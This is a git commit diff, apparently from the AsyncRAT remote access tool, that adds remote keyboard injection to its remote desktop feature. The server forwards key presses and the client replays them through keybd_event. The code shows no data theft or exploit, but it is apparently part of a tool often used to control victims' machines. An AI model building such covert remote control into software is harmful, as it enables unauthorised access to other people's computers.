added keyboard keys

This commit is contained in:
NYAN CAT 2019-12-01 06:37:41 +03:00
parent f7f84aa405
commit bc19607aa5
8 changed files with 112 additions and 21 deletions

View File

@ -56,6 +56,14 @@ namespace Plugin
IsOk = false; IsOk = false;
break; break;
} }
case "keyboardClick":
{
bool keyDown = Convert.ToBoolean(unpack_msgpack.ForcePathObject("keyIsDown").AsString);
byte key = Convert.ToByte(unpack_msgpack.ForcePathObject("key").AsInteger);
keybd_event(key, 0, keyDown ? (uint)0x0000 : (uint)0x0002, UIntPtr.Zero);
break;
}
} }
break; break;
} }
@ -131,5 +139,8 @@ namespace Plugin
[DllImport("user32.dll")] [DllImport("user32.dll")]
static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
[DllImport("user32.dll")]
internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
} }
} }

View File

@ -33,6 +33,7 @@
this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components); this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel(); this.panel1 = new System.Windows.Forms.Panel();
this.btnKeyboard = new System.Windows.Forms.Button();
this.btnMouse = new System.Windows.Forms.Button(); this.btnMouse = new System.Windows.Forms.Button();
this.btnSave = new System.Windows.Forms.Button(); this.btnSave = new System.Windows.Forms.Button();
this.label2 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label();
@ -59,7 +60,6 @@
this.pictureBox1.TabIndex = 0; this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false; this.pictureBox1.TabStop = false;
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown); this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
//this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
// //
// timer1 // timer1
@ -70,6 +70,7 @@
// panel1 // panel1
// //
this.panel1.BackColor = System.Drawing.Color.Transparent; this.panel1.BackColor = System.Drawing.Color.Transparent;
this.panel1.Controls.Add(this.btnKeyboard);
this.panel1.Controls.Add(this.btnMouse); this.panel1.Controls.Add(this.btnMouse);
this.panel1.Controls.Add(this.btnSave); this.panel1.Controls.Add(this.btnSave);
this.panel1.Controls.Add(this.label2); this.panel1.Controls.Add(this.label2);
@ -83,6 +84,17 @@
this.panel1.Size = new System.Drawing.Size(938, 38); this.panel1.Size = new System.Drawing.Size(938, 38);
this.panel1.TabIndex = 1; this.panel1.TabIndex = 1;
// //
// btnKeyboard
//
this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard;
this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnKeyboard.Location = new System.Drawing.Point(622, 3);
this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(32, 32);
this.btnKeyboard.TabIndex = 6;
this.btnKeyboard.UseVisualStyleBackColor = true;
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
//
// btnMouse // btnMouse
// //
this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
@ -219,12 +231,15 @@
this.Controls.Add(this.panel1); this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1); this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MinimumSize = new System.Drawing.Size(655, 440); this.MinimumSize = new System.Drawing.Size(655, 440);
this.Name = "FormRemoteDesktop"; this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop"; this.Text = "RemoteDesktop";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed); this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd); this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyDown);
this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyUp);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.panel1.ResumeLayout(false); this.panel1.ResumeLayout(false);
this.panel1.PerformLayout(); this.panel1.PerformLayout();
@ -250,5 +265,6 @@
private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Timer timerSave;
private System.Windows.Forms.Button btnMouse; private System.Windows.Forms.Button btnMouse;
public System.Windows.Forms.Label labelWait; public System.Windows.Forms.Label labelWait;
private System.Windows.Forms.Button btnKeyboard;
} }
} }

View File

@ -28,14 +28,15 @@ namespace Server.Forms
public int FPS = 0; public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize; public Size rdSize;
private bool isMouse = false; private bool isMouse = false;
private bool isKeyboard = false;
public object syncPicbox = new object();
private readonly List<Keys> _keysPressed;
public FormRemoteDesktop() public FormRemoteDesktop()
{ {
_keysPressed = new List<Keys>();
InitializeComponent(); InitializeComponent();
} }
@ -178,7 +179,7 @@ namespace Server.Forms
{ {
try try
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height); Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
@ -203,7 +204,7 @@ namespace Server.Forms
{ {
try try
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height); Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
@ -254,15 +255,80 @@ namespace Server.Forms
isMouse = true; isMouse = true;
btnMouse.BackgroundImage = Properties.Resources.mouse_enable; btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
} }
pictureBox1.Focus();
} }
private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e) private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e)
{ {
try try
{ {
Client?.Disconnected(); ThreadPool.QueueUserWorkItem((o) =>
{
Client?.Disconnected();
});
} }
catch { } catch { }
} }
private void btnKeyboard_Click(object sender, EventArgs e)
{
if (isKeyboard)
{
isKeyboard = false;
btnKeyboard.BackgroundImage = Properties.Resources.keyboard;
}
else
{
isKeyboard = true;
btnKeyboard.BackgroundImage = Properties.Resources.keyboard_on;
}
pictureBox1.Focus();
}
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
if (_keysPressed.Contains(e.KeyCode))
return;
_keysPressed.Add(e.KeyCode);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "keyboardClick";
msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
_keysPressed.Remove(e.KeyCode);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "keyboardClick";
msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
msgpack.ForcePathObject("keyIsDown").SetAsBoolean(false);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
}
private bool IsLockKey(Keys key)
{
return ((key & Keys.CapsLock) == Keys.CapsLock)
|| ((key & Keys.NumLock) == Keys.NumLock)
|| ((key & Keys.Scroll) == Keys.Scroll);
}
} }
} }

View File

@ -123,9 +123,6 @@
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>131, 17</value> <value>131, 17</value>
</metadata> </metadata>
<metadata name="timerPic.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>273, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" /> <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value> <value>

View File

@ -33,19 +33,18 @@ namespace Server.Handle_Packet
RD.numericUpDown2.Maximum = Screens - 1; RD.numericUpDown2.Maximum = Screens - 1;
} }
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); lock (RD.syncPicbox)
{
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{
RD.pictureBox1.Image = decoded; RD.pictureBox1.Image = decoded;
RD.RenderSW = Stopwatch.StartNew(); RD.FPS++;
} if (RD.sw.ElapsedMilliseconds >= 1000)
RD.FPS++; {
if (RD.sw.ElapsedMilliseconds >= 1000) RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length);
{ RD.FPS = 0;
RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); RD.sw = Stopwatch.StartNew();
RD.FPS = 0; }
RD.sw = Stopwatch.StartNew();
} }
} }
else else

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 808 B

View File

@ -350,6 +350,8 @@
<ItemGroup> <ItemGroup>
<Content Include="async_icon.ico" /> <Content Include="async_icon.ico" />
<Content Include="ILMergeOrder.txt" /> <Content Include="ILMergeOrder.txt" />
<None Include="Resources\keyboard-on.png" />
<None Include="Resources\keyboard.png" />
<None Include="Resources\7z.dll" /> <None Include="Resources\7z.dll" />
<None Include="Resources\7z.exe" /> <None Include="Resources\7z.exe" />
<None Include="Resources\server.png" /> <None Include="Resources\server.png" />